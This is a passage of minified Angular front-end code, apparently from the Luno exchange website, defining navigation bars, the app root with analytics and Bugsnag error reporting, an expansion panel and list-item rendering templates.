s.vpe,this.isOpaqueClass=!1,this.isPositionFixedClass=!1,this.isExchange=!1,this.navBarHeight=30}get isTransparentClass(){var t;return!!(null===(t=this.navigationTop)||void 0===t?void 0:t.isTransparent)}ngOnInit(){this.setOpaque(!1),this.setPositionFixed(!1),this.trackIfUrlIsExchange(),this.attachToRouterRoutingChangeEvents(),window.addEventListener("scroll",()=>this.scrollEventListener(this.windowRef.nativeWindow.scrollY))}ngOnDestroy(){var t;null===(t=this.routerEventsSubscription)||void 0===t||t.unsubscribe()}onOffsetChanged(t){0===t&&(this.isPositionFixedClass=!0)}scrollEventListener(t){this.setOpaque(t>this.navBarHeight+this.offset),this.setPositionFixed(t>this.offset)}setOpaque(t){t!==this.isOpaqueClass&&(this.isOpaqueClass=t,this.changeDetectorRef.markForCheck())}setPositionFixed(t){t!==this.isPositionFixedClass&&(this.isPositionFixedClass=t,this.changeDetectorRef.markForCheck())}trackIfUrlIsExchange(t){var e;this.isExchange=!(!(null===(e=null==t?void 0:t.url)||void 0===e?void 0:e.includes("/exchange"))&&!this.router.url.includes("/exchange")),this.changeDetectorRef.markForCheck()}attachToRouterRoutingChangeEvents(){this.routerEventsSubscription=this.router.events.pipe((0,L.h)(t=>t instanceof mt.sj)).subscribe(t=>{this.trackIfUrlIsExchange(t)})}isRouteActive(t){if(!t.activeForRoutes||!this.activeUrl)return!1;for(const e of t.activeForRoutes)if(t.isActiveForRoutesExact&&this.activeUrl===e||!t.isActiveForRoutesExact&&this.activeUrl.includes(e))return!0;return!1}onMenuClick(){this.toggleSidenav.emit(!0)}onButtonClicked(t){this.buttonClicked.emit(t.action)}}Ze.\u0275fac=function(t){return new(t||Ze)(s.Y36(s.sBO),s.Y36(r.S$),s.Y36(mt.F0),s.Y36(Ot.X))},Ze.\u0275cmp=s.Xpm({type:Ze,selectors:[["luno-navigation-top"]],inputs:{navigationTop:"navigationTop",activeUrl:"activeUrl",hasSideNav:"hasSideNav",webAssetsUrl:"webAssetsUrl",offset:"offset"},outputs:{itemClicked:"itemClicked",buttonClicked:"buttonClicked",toggleSidenav:"toggleSidenav"},decls:3,vars:10,consts:[[1,"nav-top"],["class","theme-primary",3,"isOpaque","hamburgerIconClick",4,"ngIf"],["class","links",4,"ngIf"],[1,"theme-primary",3,"isOpaque","hamburgerIconClick"],[1,"links"],[4,"ngFor","ngForOf"],[3,"action","active","hide-on-mobile","hide-on-tablet","hide-on-laptop-screen","hide-on-desktop",4,"ngIf"],["class","theme-tertiary",3,"button","themePalette","clicked",4,"ngIf"],[3,"action"],[3,"badgeCount",4,"ngIf"],[3,"badgeCount"],[1,"theme-tertiary",3,"button","themePalette","clicked"]],template:function(t,e){1&t&&(s.TgZ(0,"nav",0),s.YNc(1,Ve,1,1,"luno-hamburger",1),s.YNc(2,ze,2,1,"menu",2),s.qZA()),2&t&&(s.ekj("exchange",e.isExchange)("transparent",e.isTransparentClass)("opaque",e.isOpaqueClass)("fixed",e.isPositionFixedClass),s.xp6(1),s.Q6J("ngIf",e.hasSideNav),s.xp6(1),s.Q6J("ngIf",e.navigationTop&&e.navigationTop.navigationItems))},directives:[r.O5,Se,r.sg,ye.t,ke,le.r0],pipes:[r.Ov],styles:['.nav-top[_ngcontent-%COMP%]{position:absolute;left:0;right:0;height:63px;display:flex;justify-content:space-between;align-items:center;padding:20px;z-index:9;transition:.4s cubic-bezier(.35,0,.25,1)}.nav-top.transparent[_ngcontent-%COMP%]{background:transparent}.nav-top[_ngcontent-%COMP%]:not(.transparent){background:var(--color-primary)}.nav-top[_ngcontent-%COMP%]:not(.transparent).exchange:not(.opaque){background:#051025}.nav-top.opaque[_ngcontent-%COMP%]{background:#ffffff;box-shadow:0 2px 2px #0000003d,0 0 2px #0000001f}.nav-top.opaque[_ngcontent-%COMP%]   .links[_ngcontent-%COMP%]   luno-hyperlink[_ngcontent-%COMP%]     a{color:#12326b}.nav-top.fixed[_ngcontent-%COMP%]{position:fixed;top:0}[_nghost-%COMP%]     luno-hyperlink a{outline:none}.links[_ngcontent-%COMP%]   luno-hyperlink[_ngcontent-%COMP%], .links[_ngcontent-%COMP%]   luno-button[_ngcontent-%COMP%]{margin-left:10px}.links[_ngcontent-%COMP%]   luno-hyperlink[_ngcontent-%COMP%]{font-size:16px;font-weight:800;text-transform:uppercase}.links[_ngcontent-%COMP%]   luno-hyperlink[_ngcontent-%COMP%]     a{position:relative;display:inline-block;padding:7px;color:var(--color-neutral-0);text-decoration:none;transition:.4s cubic-bezier(.35,0,.25,1)}.links[_ngcontent-%COMP%]   luno-hyperlink[_ngcontent-%COMP%]     a:after{position:absolute;bottom:0;left:0;right:0;margin:auto;width:0;content:"";color:transparent;background:var(--color-accent);height:1px}.links[_ngcontent-%COMP%]   luno-hyperlink[_ngcontent-%COMP%]     a:hover:after{transition:all .4s;width:calc(100% - 14px)}.links[_ngcontent-%COMP%]   luno-hyperlink.active[_ngcontent-%COMP%]     a:after{width:calc(100% - 14px)}@media screen and (max-width: 768px){.links[_ngcontent-%COMP%]   luno-hyperlink.hide-on-mobile[_ngcontent-%COMP%]{display:none}}@media screen and (max-width: 1150px){.links[_ngcontent-%COMP%]   luno-hyperlink.hide-on-laptop-screen[_ngcontent-%COMP%]{display:none}}@media screen and (min-width: 768px) and (max-width: 992px){.links[_ngcontent-%COMP%]   luno-hyperlink.hide-on-tablet[_ngcontent-%COMP%]{display:none}}@media screen and (min-width: 992px){.links[_ngcontent-%COMP%]   luno-hyperlink.hide-on-desktop[_ngcontent-%COMP%]{display:none}}.links[_ngcontent-%COMP%]   luno-button[_ngcontent-%COMP%]     a{padding:0 20px}.links[_ngcontent-%COMP%]   luno-badge[_ngcontent-%COMP%]{margin-left:6px;top:20px}@-moz-document url-prefix(){.links luno-badge{top:35px!important}}@media not all and (min-resolution: .001dpcm){@supports (-webkit-appearance: none){.links[_ngcontent-%COMP%]   luno-badge[_ngcontent-%COMP%]{right:10%}}}@media not all and (min-resolution: .001dpcm){@supports (-webkit-appearance: none){.links[_ngcontent-%COMP%]   luno-badge[_ngcontent-%COMP%]     .mat-badge .mat-badge-content{right:0}}}.luno_v3[_nghost-%COMP%]   .nav-top[_ngcontent-%COMP%], .luno_v3   [_nghost-%COMP%]   .nav-top[_ngcontent-%COMP%]{background:var(--color-primary)}.luno_v3[_nghost-%COMP%]   .nav-top.transparent[_ngcontent-%COMP%], .luno_v3   [_nghost-%COMP%]   .nav-top.transparent[_ngcontent-%COMP%]{background:transparent}.luno_v3[_nghost-%COMP%]   .nav-top[_ngcontent-%COMP%]:not(.transparent), .luno_v3   [_nghost-%COMP%]   .nav-top[_ngcontent-%COMP%]:not(.transparent){background:var(--color-primary)}.luno_v3[_nghost-%COMP%]   .nav-top.opaque[_ngcontent-%COMP%], .luno_v3   [_nghost-%COMP%]   .nav-top.opaque[_ngcontent-%COMP%]{background:#ffffff;box-shadow:0 2px 2px #0000003d,0 0 2px #0000001f}.luno_v3[_nghost-%COMP%]   .nav-top.opaque[_ngcontent-%COMP%]   .links[_ngcontent-%COMP%]   luno-hyperlink[_ngcontent-%COMP%]     a, .luno_v3   [_nghost-%COMP%]   .nav-top.opaque[_ngcontent-%COMP%]   .links[_ngcontent-%COMP%]   luno-hyperlink[_ngcontent-%COMP%]     a{color:#12326b}']}),(0,Zt.gn)([(0,oe.G)("onOffsetChanged"),(0,Zt.w6)("design:type",Number)],Ze.prototype,"offset",void 0);const We=["sidenav"];function Je(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-navigation-side",5),s.NdJ("toggleSidenav",function(e){return s.CHM(t),s.oxw().onToggleSidenav(e)}),s.qZA()}if(2&t){const t=s.oxw(),e=s.MAs(2);s.Q6J("navigationSide",t.navigation.navigationSide)("activeUrl",t.activeUrl)("webAssetsUrl",t.navigation.webAssetsUrl)("isAuthenticated",t.isAuthenticated)("isOpen",e.opened)}}function Qe(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-navigation-top",6),s.NdJ("toggleSidenav",function(e){return s.CHM(t),s.oxw().onToggleSidenav(e)})("buttonClicked",function(e){return s.CHM(t),s.oxw().onButtonClicked(e)}),s.qZA()}if(2&t){const t=s.oxw();s.Q6J("navigationTop",t.navigation.navigationTop)("webAssetsUrl",t.navigation.webAssetsUrl)("activeUrl",t.activeUrl)("hasSideNav",!!t.navigation.navigationSide)("offset",t.navigationTopOffset)}}const Ke=["*"];let Xe=(()=>{class t{constructor(t){this.router=t,this.navigationTopOffset=0,this.itemClicked=new s.vpe,this.buttonClicked=new s.vpe}ngOnInit(){this.activeUrl=this.router.url,this.routerEventsSubscription=this.router.events.subscribe(t=>{t instanceof mt.m2&&this.onNavigationEnd(t)})}ngOnDestroy(){this.routerEventsSubscription&&this.routerEventsSubscription.unsubscribe()}onNavigationEnd(t){this.activeUrl=t.url}onToggleSidenav(t){this.sidenav.opened=t}onButtonClicked(t){this.buttonClicked.emit(t)}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(mt.F0))},t.\u0275cmp=s.Xpm({type:t,selectors:[["luno-navigation"]],viewQuery:function(t,e){if(1&t&&s.Gf(We,5),2&t){let t;s.iGM(t=s.CRH())&&(e.sidenav=t.first)}},inputs:{navigation:"navigation",isAuthenticated:"isAuthenticated",navigationTopOffset:"navigationTopOffset"},outputs:{itemClicked:"itemClicked",buttonClicked:"buttonClicked"},ngContentSelectors:Ke,decls:7,vars:3,consts:[[1,"side-nav-wrapper"],["mode","side","mode","over",3,"fixedInViewport"],["sidenav",""],[3,"navigationSide","activeUrl","webAssetsUrl","isAuthenticated","isOpen","toggleSidenav",4,"ngIf"],[3,"navigationTop","webAssetsUrl","activeUrl","hasSideNav","offset","toggleSidenav","buttonClicked",4,"ngIf"],[3,"navigationSide","activeUrl","webAssetsUrl","isAuthenticated","isOpen","toggleSidenav"],[3,"navigationTop","webAssetsUrl","activeUrl","hasSideNav","offset","toggleSidenav","buttonClicked"]],template:function(t,e){1&t&&(s.F$t(),s.TgZ(0,"mat-sidenav-container",0),s.TgZ(1,"mat-sidenav",1,2),s.YNc(3,Je,1,5,"luno-navigation-side",3),s.qZA(),s.TgZ(4,"mat-sidenav-content"),s.YNc(5,Qe,1,5,"luno-navigation-top",4),s.Hsn(6),s.qZA(),s.qZA()),2&t&&(s.xp6(1),s.Q6J("fixedInViewport",!0),s.xp6(2),s.Q6J("ngIf",e.navigation&&e.navigation.navigationSide),s.xp6(2),s.Q6J("ngIf",null==e.navigation?null:e.navigation.navigationTop))},directives:[pt,dt,r.O5,ht,He,Ze],styles:["mat-sidenav[_ngcontent-%COMP%]{min-width:300px}"],changeDetection:0}),t})();function tn(t,e){if(1&t&&(s.TgZ(0,"luno-navigation",1),s._UZ(1,"router-outlet"),s.qZA()),2&t){const t=s.oxw();s.Q6J("navigation",t.navigation)("isAuthenticated",t.isAuthenticated)}}class en{constructor(t,e,n,i,s,r,o,a,c,l,u,h,d){this.analyticsService=t,this.authAppInfoService=e,this.changeDetectorRef=n,this.commonInfoService=i,this.featureFlagsService=s,this.gtmService=r,this.localeService=o,this.navigationService=a,this.router=c,this.tickerService=l,this.seoService=u,this.windowBodyService=h,this.document=d,this.isAuthenticated=!1,this.isFirstNavigation=!0}ngOnInit(){this.projectAssetsUrl=this.authAppInfoService.assetsPath,this.navServiceConfig={webAssetsUrl:this.projectAssetsUrl,staticAssetsPath:this.commonInfoService.staticAssetsUrl||"",currentUrl:this.router.url},this.isAuthenticated=this.commonInfoService.isAuthenticated,this.seoService.titleSuffix=" | Luno",this.initAnalytics(),this.setNavigation(),this.fetchBtcPrice(),this.updateStateOnRouteChange(),this.maybeSetLunoV3()}get sideNavigationGroups(){return this.navServiceConfig?this.navigationService.getSideNavigationGroups(this.navServiceConfig):[]}get topNavigationItems(){return this.navigationService.getWebsiteTopNavigationItems(this.isAuthenticated,this.btcPrice)}setNavigation(){this.navigation={webAssetsUrl:this.projectAssetsUrl,navigationTop:{navigationItems:this.topNavigationItems},navigationSide:{navigationGroups:this.sideNavigationGroups}},this.changeDetectorRef.detectChanges()}updateStateOnRouteChange(){this.router.events.pipe((0,L.h)(t=>t instanceof mt.R9)).subscribe(t=>this.updateState(t))}updateState(t){!t||(this.navServiceConfig=Object.assign(Object.assign({},this.navServiceConfig),{currentUrl:t.urlAfterRedirects}),this.changeDetectorRef.detectChanges(),this.enforceLangCodeInPath(t),this.isFirstNavigation=!1)}fetchBtcPrice(){this.tickerService.fetch().subscribe(t=>this.btcPrice=null==t?void 0:t.btc_price)}initAnalytics(){var t;this.gtmService.addGtmToDom(this.commonInfoService.googleTagManagerConfig),this.analyticsService.logUserIntoGtag(null===(t=this.commonInfoService.userInfo)||void 0===t?void 0:t.userId)}enforceLangCodeInPath(t){var e;const n=null===(e=t.state.root.firstChild)||void 0===e?void 0:e.params.lang,i=Object.keys(this.commonInfoService.availableLanguages||[]).includes(n);this.isFirstNavigation||i?i||this.router.navigateByUrl(`/${this.localeService.urlPath}${t.urlAfterRedirects}`):this.router.navigate([`/${this.localeService.urlPath}/login`])}maybeSetLunoV3(){!this.featureFlagsService.isEnabled("luno_v3")||this.windowBodyService.addClass("luno_v3")}}en.\u0275fac=function(t){return new(t||en)(s.Y36(Mt.y),s.Y36(ae.R),s.Y36(s.sBO),s.Y36(Ft.E),s.Y36(Bt.a),s.Y36(Wt.b),s.Y36(Ht.O),s.Y36(ie),s.Y36(mt.F0),s.Y36(re),s.Y36(se.v),s.Y36(ce.h),s.Y36(r.K0))},en.\u0275cmp=s.Xpm({type:en,selectors:[["luno-auth-app"]],decls:2,vars:1,consts:[[3,"navigation","isAuthenticated",4,"ngIf"],[3,"navigation","isAuthenticated"]],template:function(t,e){1&t&&(s.YNc(0,tn,2,2,"luno-navigation",0),s._UZ(1,"luno-cookie-preferences")),2&t&&s.Q6J("ngIf",e.navigation)},directives:[r.O5,ve,Xe,mt.lC],styles:["router-outlet[_ngcontent-%COMP%]{display:block;background-color:#12326b;margin-top:63px}luno-cookie-preferences[_ngcontent-%COMP%]{position:fixed;z-index:100;bottom:0}"],changeDetection:0}),(0,Zt.gn)([(0,oe.G)("setNavigation"),(0,Zt.w6)("design:type",Object)],en.prototype,"btcPrice",void 0),(0,r.qS)(u()),(0,r.qS)(d()),(0,r.qS)(f()),(0,r.qS)(c());let nn=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t,bootstrap:[en]}),t.\u0275inj=s.cJS({providers:[{provide:Lt.x,useValue:It.I.auth},{provide:s.ip1,useFactory:t=>()=>t.load(),deps:[ae.R],multi:!0},{provide:Mt.v,useValue:[At.GeneralGtagId,At.GeneralUniversalId]},{provide:s.qLn,useFactory:t=>t.useBugsnag()?new b(function(t){const e=[0,401],n=["ChunkLoadError",'The animation trigger "transform" has failed',"Function statements require a function name"],i=["ChunkLoadError"];return v().start({appVersion:Dt(t),apiKey:t.bugsnagApiKey,releaseStage:window.location.host===Nt.Production?"production":window.location.host.includes(Nt.Staging)?"staging":"dev",onError:function(t){var s;return!(e.includes(null===(s=null==t?void 0:t.originalError)||void 0===s?void 0:s.status)||(null==t?void 0:t.errors.some(t=>n.some(e=>t.errorMessage.includes(e))||i.some(e=>t.errorClass.includes(e)))))}})}(Vt.N)):new s.qLn,deps:[Ut.q]},{provide:o.TP,useClass:jt.D3,multi:!0},{provide:o.TP,useClass:Rt,multi:!0},{provide:m.Ve,useValue:{duration:2500}},{provide:Ot.X,useClass:Ot.X,multi:!1},{provide:s.soG,useFactory:t=>t.locale,deps:[Ht.O]},{provide:Ft.N,useValue:["en","en-US","fr","id","it"]},{provide:Bt.u,useFactory:t=>t,deps:[Ft.E]},Pt.Tt],imports:[[o.JF,zt,i.b2,g.PW,T,m.ZX,Tt]]}),t})();Vt.N.production&&(0,s.G48)(),i.q6().bootstrapModule(nn).catch(t=>console.log(t))},91797:function(t,e,n){"use strict";n.d(e,{r0:function(){return Qt},L$:function(){return Wt}});var i=n(3786),s=n(2316),r=n(76322),o=n(54364),a=n(66846),c=n(98045);let l=(()=>{class t{constructor(){}isNavType(t){return t.type=this.getType(t),(t.type===a.GyU.STANDARD||t.type===a.GyU.PAYMENT_METHOD||t.type===a.GyU.INLINE_BUTTON)&&this.hasAction(t)}isSelectType(t){return t.type=this.getType(t),t.type===a.GyU.CHECKBOX}isEmptyType(t){return t.type=this.getType(t),t.type===a.GyU.EMPTY_STATE}isDefaultType(t){return!this.isNavType(t)&&!this.isSelectType(t)}hasAction(t){var e;return(null===(e=t.actions)||void 0===e?void 0:e.length)>0&&!!t.actions[0]&&Object.keys(t.actions[0]).length>0}isInlineButton(t){return t.type=this.getType(t),t.type===a.GyU.INLINE_BUTTON}isInlineButtonInteractive(t){return!!t.id||!!t.url||!!t.endpoint}getType(t){switch(a.KzN[t.type]||t.type){case a.GyU.STANDARD:return a.GyU.STANDARD;case a.GyU.CHECKBOX:return a.GyU.CHECKBOX;case a.GyU.HEADING:return a.GyU.HEADING;case a.GyU.PAYMENT_METHOD:return a.GyU.PAYMENT_METHOD;case a.GyU.SWITCH_CONTROL:return a.GyU.SWITCH_CONTROL;case a.GyU.INLINE_BUTTON:return a.GyU.INLINE_BUTTON;case a.GyU.EMPTY_STATE:return a.GyU.EMPTY_STATE;default:return a.GyU.UNKNOWN_TYPE}}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();var u=n(34008),h=n(1625),d=n(52529);function p(t,e){if(1&t&&s._UZ(0,"img",2),2&t){const t=s.oxw();s.Q6J("src",t.icon.url,s.LSH)}}function f(t,e){if(1&t&&(s.TgZ(0,"mat-icon"),s._uU(1),s.qZA()),2&t){s.oxw();const t=s.MAs(1);s.xp6(1),s.Oqu(t.expanded?"arrow_drop_up":"arrow_drop_down")}}const m=function(t){return{"background-color":t}};function g(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"mat-expansion-panel",3,4),s.NdJ("closed",function(){return s.CHM(t),s.oxw().panelCollapsed.emit()})("opened",function(){return s.CHM(t),s.oxw().panelExpanded.emit()}),s.TgZ(2,"mat-expansion-panel-header",5),s.TgZ(3,"mat-panel-title"),s._uU(4),s.qZA(),s.YNc(5,f,2,1,"mat-icon",6),s.qZA(),s.Hsn(6),s.qZA()}if(2&t){const t=s.oxw();s.ekj("transparent",t.isTransparent)("white-text",t.useWhiteText),s.Q6J("ngClass",t.elevated?"mat-elevation-z1":"mat-elevation-z0")("ngStyle",s.VKq(16,m,t.backgroundColor))("expanded",t.isExpanded)("hideToggle",!0)("disabled",!t.isCollapsible),s.xp6(2),s.Q6J("collapsedHeight",t.collapsedHeight)("expandedHeight",t.expandedHeight)("ngStyle",s.VKq(18,m,t.backgroundColor)),s.xp6(1),s.ekj("uppercase",t.isTitleUppercase),s.xp6(1),s.Oqu(t.title),s.xp6(1),s.Q6J("ngIf",t.isCollapsible)}}const _=["*"];let v=(()=>{class t{constructor(){this.isCollapsible=!0,this.collapsedHeight="auto",this.expandedHeight="auto",this.elevated=!0,this.isExpanded=!0,this.isTitleUppercase=!0,this.panelExpanded=new s.vpe,this.panelCollapsed=new s.vpe}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=s.Xpm({type:t,selectors:[["luno-expansion-panel"]],inputs:{title:"title",useWhiteText:"useWhiteText",isCollapsible:"isCollapsible",collapsedHeight:"collapsedHeight",expandedHeight:"expandedHeight",icon:"icon",elevated:"elevated",isExpanded:"isExpanded",backgroundColor:"backgroundColor",isTransparent:"isTransparent",isTitleUppercase:"isTitleUppercase"},outputs:{panelExpanded:"panelExpanded",panelCollapsed:"panelCollapsed"},ngContentSelectors:_,decls:3,vars:4,consts:[[3,"src",4,"ngIf"],[3,"ngClass","ngStyle","transparent","white-text","expanded","hideToggle","disabled","closed","opened",4,"ngIf"],[3,"src"],[3,"ngClass","ngStyle","expanded","hideToggle","disabled","closed","opened"],["panel",""],[3,"collapsedHeight","expandedHeight","ngStyle"],[4,"ngIf"]],template:function(t,e){1&t&&(s.F$t(),s.TgZ(0,"div"),s.YNc(1,p,1,1,"img",0),s.YNc(2,g,7,20,"mat-expansion-panel",1),s.qZA()),2&t&&(s.ekj("panel-container",e.icon),s.xp6(1),s.Q6J("ngIf",e.icon),s.xp6(1),s.Q6J("ngIf",e.title))},directives:[o.O5,h.ib,o.mk,o.PC,h.yz,h.yK,d.Hw],styles:[".mat-expansion-panel[_ngcontent-%COMP%]{border-radius:0}mat-expansion-panel-header[_ngcontent-%COMP%], mat-expansion-panel-header[_ngcontent-%COMP%]:hover{background:#f0f2f5!important}.mat-expansion-panel-header[aria-disabled=true][_ngcontent-%COMP%]   mat-panel-title[_ngcontent-%COMP%], mat-panel-title[_ngcontent-%COMP%]{color:var(--color-primary);font-weight:800;line-height:1.1;font-size:14px;color:inherit;line-height:1.2;align-items:center;font-size:16px}.mat-expansion-panel-header[aria-disabled=true][_ngcontent-%COMP%]   mat-panel-title.uppercase[_ngcontent-%COMP%], mat-panel-title.uppercase[_ngcontent-%COMP%]{text-transform:uppercase}mat-icon[_ngcontent-%COMP%]{color:#12326b}img[_ngcontent-%COMP%]{width:24px;height:50px}.transparent.mat-expansion-panel[_ngcontent-%COMP%], .transparent[_ngcontent-%COMP%]   .mat-expansion-panel-header[_ngcontent-%COMP%], .transparent[_ngcontent-%COMP%]   .mat-expansion-panel-header[_ngcontent-%COMP%]:hover{background-color:transparent!important}.white-text[_ngcontent-%COMP%]   mat-icon[_ngcontent-%COMP%], .white-text[_ngcontent-%COMP%]   mat-panel-title[_ngcontent-%COMP%], .white-text[_ngcontent-%COMP%]   p[_ngcontent-%COMP%]{color:#fff!important}mat-panel-title[_ngcontent-%COMP%]{font-size:16px}.panel-container[_ngcontent-%COMP%]{display:flex}"]}),t})();var b=n(28417),y=n(1707),w=n(62940),x=n(58625),C=n(70227),S=n(62157),E=n(22213),k=n(46708),T=n(24298),A=n(94353),I=n(1124);function O(t,e){1&t&&s.GkF(0)}function R(t,e){if(1&t&&(s.ynx(0),s.YNc(1,O,1,0,"ng-container",5),s.BQk()),2&t){s.oxw();const t=s.MAs(6);s.xp6(1),s.Q6J("ngTemplateOutlet",t)}}function P(t,e){1&t&&s.GkF(0)}function N(t,e){if(1&t&&(s.TgZ(0,"luno-hyperlink",8),s.YNc(1,P,1,0,"ng-container",5),s.qZA()),2&t){const t=s.oxw(2),e=s.MAs(4);s.Q6J("action",t.listItem.actions[0]),s.xp6(1),s.Q6J("ngTemplateOutlet",e)}}function D(t,e){1&t&&s.GkF(0)}function L(t,e){if(1&t&&(s.ynx(0),s.YNc(1,D,1,0,"ng-container",5),s.BQk()),2&t){s.oxw(2);const t=s.MAs(4);s.xp6(1),s.Q6J("ngTemplateOutlet",t)}}function M(t,e){if(1&t&&(s.YNc(0,N,2,2,"luno-hyperlink",6),s.YNc(1,L,2,1,"ng-container",7)),2&t){const t=s.oxw();s.Q6J("ngIf",t.isNavType),s.xp6(1),s.Q6J("ngIf",!t.isNavType)}}const F=function(t,e){return{height:t,width:e}};function U(t,e){if(1&t&&s._UZ(0,"img",23),2&t){const t=s.oxw(3);s.Q6J("ngStyle",s.WLB(2,F,t.leftIcon.height+"px",t.leftIcon.width+"px"))("src",t.leftIcon.url,s.LSH)}}function B(t,e){1&t&&s.GkF(0)}function j(t,e){if(1&t&&(s.ynx(0),s.YNc(1,B,1,0,"ng-container",5),s.BQk()),2&t){s.oxw(4);const t=s.MAs(8);s.xp6(1),s.Q6J("ngTemplateOutlet",t)}}function H(t,e){if(1&t&&(s.TgZ(0,"p",24),s._uU(1),s.YNc(2,j,2,1,"ng-container",7),s.qZA()),2&t){const t=s.oxw(3);s.xp6(1),s.hij(" ",t.listItem.overlineLabel," "),s.xp6(1),s.Q6J("ngIf",!t.listItem.label)}}function V(t,e){if(1&t&&s._UZ(0,"h3",25),2&t){const t=s.oxw(3);s.Q6J("innerHtml",t.listItem.labelHtml,s.oJD)}}function G(t,e){1&t&&s.GkF(0)}function Y(t,e){if(1&t&&(s.TgZ(0,"h3",27),s._uU(1),s.YNc(2,G,1,0,"ng-container",5),s.qZA()),2&t){const t=s.oxw(4),e=s.MAs(8);s.xp6(1),s.hij(" ",t.listItem.label," "),s.xp6(1),s.Q6J("ngTemplateOutlet",e)}}function q(t,e){if(1&t&&s.YNc(0,Y,3,2,"h3",26),2&t){const t=s.oxw(3);s.Q6J("ngIf",t.listItem.label)}}function $(t,e){if(1&t&&(s.TgZ(0,"p",28),s._uU(1),s.qZA()),2&t){const t=s.oxw(3);s.xp6(1),s.Oqu(t.listItem.subLabel)}}function z(t,e){if(1&t&&s._UZ(0,"p",29),2&t){const t=s.oxw(3);s.Q6J("innerHTML",t.listItem.value,s.oJD)}}function Z(t,e){if(1&t&&(s.TgZ(0,"aside",30),s._uU(1),s.qZA()),2&t){const t=s.oxw(3);s.xp6(1),s.hij(" ",t.listItem.caption," ")}}function W(t,e){if(1&t&&s._UZ(0,"img",31),2&t){const t=s.oxw(3);s.Q6J("src",null==t.rightIcon?null:t.rightIcon.url,s.LSH)}}function J(t,e){if(1&t&&s._UZ(0,"luno-toggle",32),2&t){const t=s.oxw(3);s.Q6J("config",t.toggleConfig)("formControl",t.toggleControl)}}function Q(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-hyperlink",33),s.NdJ("clicked",function(e){return s.CHM(t),s.oxw(3).listItemInlineButtonClicked(e)}),s.TgZ(1,"div",34),s.NdJ("mousedown",function(e){s.CHM(t);const n=s.oxw(3);return n.preventRipple(e,n.isInlineButtonInteractive)}),s._uU(2),s.qZA(),s.qZA()}if(2&t){const t=s.oxw(3);s.Q6J("action",t.listItem.actions[1]),s.xp6(1),s.ekj("luno-v3",t.isLunoV3())("interactive",t.isInlineButtonInteractive),s.xp6(1),s.hij(" ",t.inlineButtonText," ")}}function K(t,e){1&t&&s._UZ(0,"mat-divider",35)}function X(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"mat-list-item",11),s.NdJ("click",function(){return s.CHM(t),s.oxw(2).listItemClicked()}),s.YNc(1,U,1,5,"img",12),s.YNc(2,H,3,2,"p",13),s.YNc(3,V,1,1,"h3",14),s.YNc(4,q,1,1,"ng-template",null,15,s.W1O),s.YNc(6,$,2,1,"p",16),s.YNc(7,z,1,1,"p",17),s.YNc(8,Z,2,1,"aside",18),s.YNc(9,W,1,1,"img",19),s.YNc(10,J,1,2,"luno-toggle",20),s.YNc(11,Q,3,6,"luno-hyperlink",21),s.YNc(12,K,1,0,"mat-divider",22),s.qZA()}if(2&t){const t=s.MAs(5),e=s.oxw(2);s.xp6(1),s.Q6J("ngIf",e.leftIcon),s.xp6(1),s.Q6J("ngIf",e.listItem.overlineLabel),s.xp6(1),s.Q6J("ngIf",e.listItem.labelHtml)("ngIfElse",t),s.xp6(3),s.Q6J("ngIf",e.listItem.subLabel),s.xp6(1),s.Q6J("ngIf",e.listItem.value),s.xp6(1),s.Q6J("ngIf",e.listItem.caption&&e.displayCaption),s.xp6(1),s.Q6J("ngIf",e.displayRightIcon),s.xp6(1),s.Q6J("ngIf",e.listItem.type===e.listItemType.SWITCH_CONTROL),s.xp6(1),s.Q6J("ngIf",e.displayInLineButton),s.xp6(1),s.Q6J("ngIf",e.showDivider)}}function tt(t,e){if(1&t&&(s.TgZ(0,"p",24),s._uU(1),s.qZA()),2&t){const t=s.oxw(3);s.xp6(1),s.Oqu(t.listItem.overlineLabel)}}function et(t,e){if(1&t&&(s.TgZ(0,"h3",39),s._uU(1),s.qZA()),2&t){const t=s.oxw(3);s.xp6(1),s.Oqu(t.listItem.label)}}function nt(t,e){if(1&t&&(s.TgZ(0,"p",28),s._uU(1),s.qZA()),2&t){const t=s.oxw(3);s.xp6(1),s.Oqu(t.listItem.subLabel)}}function it(t,e){if(1&t&&(s.TgZ(0,"p",40),s._uU(1),s.qZA()),2&t){const t=s.oxw(3);s.xp6(1),s.Oqu(t.listItem.value)}}function st(t,e){1&t&&s._UZ(0,"mat-divider",35)}function rt(t,e){if(1&t&&(s.TgZ(0,"mat-list-option",36),s.YNc(1,tt,2,1,"p",13),s.YNc(2,et,2,1,"h3",37),s.YNc(3,nt,2,1,"p",16),s.YNc(4,it,2,1,"p",38),s.YNc(5,st,1,0,"mat-divider",22),s.qZA()),2&t){const t=s.oxw(2);s.Q6J("selected",t.selected)("value",t.listItem.value),s.xp6(1),s.Q6J("ngIf",t.listItem.overlineLabel),s.xp6(1),s.Q6J("ngIf",t.listItem.label),s.xp6(1),s.Q6J("ngIf",t.listItem.subLabel),s.xp6(1),s.Q6J("ngIf",t.listItem.value),s.xp6(1),s.Q6J("ngIf",t.showDivider)}}function ot(t,e){if(1&t&&(s.YNc(0,X,13,11,"mat-list-item",9),s.YNc(1,rt,6,7,"mat-list-option",10)),2&t){const t=s.oxw();s.Q6J("ngIf",!t.isSelectType),s.xp6(1),s.Q6J("ngIf",t.isSelectType)}}function at(t,e){if(1&t&&s._UZ(0,"img",43),2&t){const t=s.oxw(2);s.Q6J("ngStyle",s.WLB(2,F,(null==t.emptyStateIcon?null:t.emptyStateIcon.height)+"px",(null==t.emptyStateIcon?null:t.emptyStateIcon.width)+"px"))("src",null==t.emptyStateIcon?null:t.emptyStateIcon.url,s.LSH)}}function ct(t,e){if(1&t&&(s.TgZ(0,"mat-list-item"),s.TgZ(1,"div",41),s.YNc(2,at,1,5,"img",42),s.TgZ(3,"p"),s._uU(4),s.qZA(),s.qZA(),s.qZA()),2&t){const t=s.oxw();s.xp6(2),s.Q6J("ngIf",null==t.emptyStateIcon?null:t.emptyStateIcon.url),s.xp6(2),s.Oqu(t.listItem.label)}}function lt(t,e){if(1&t){const 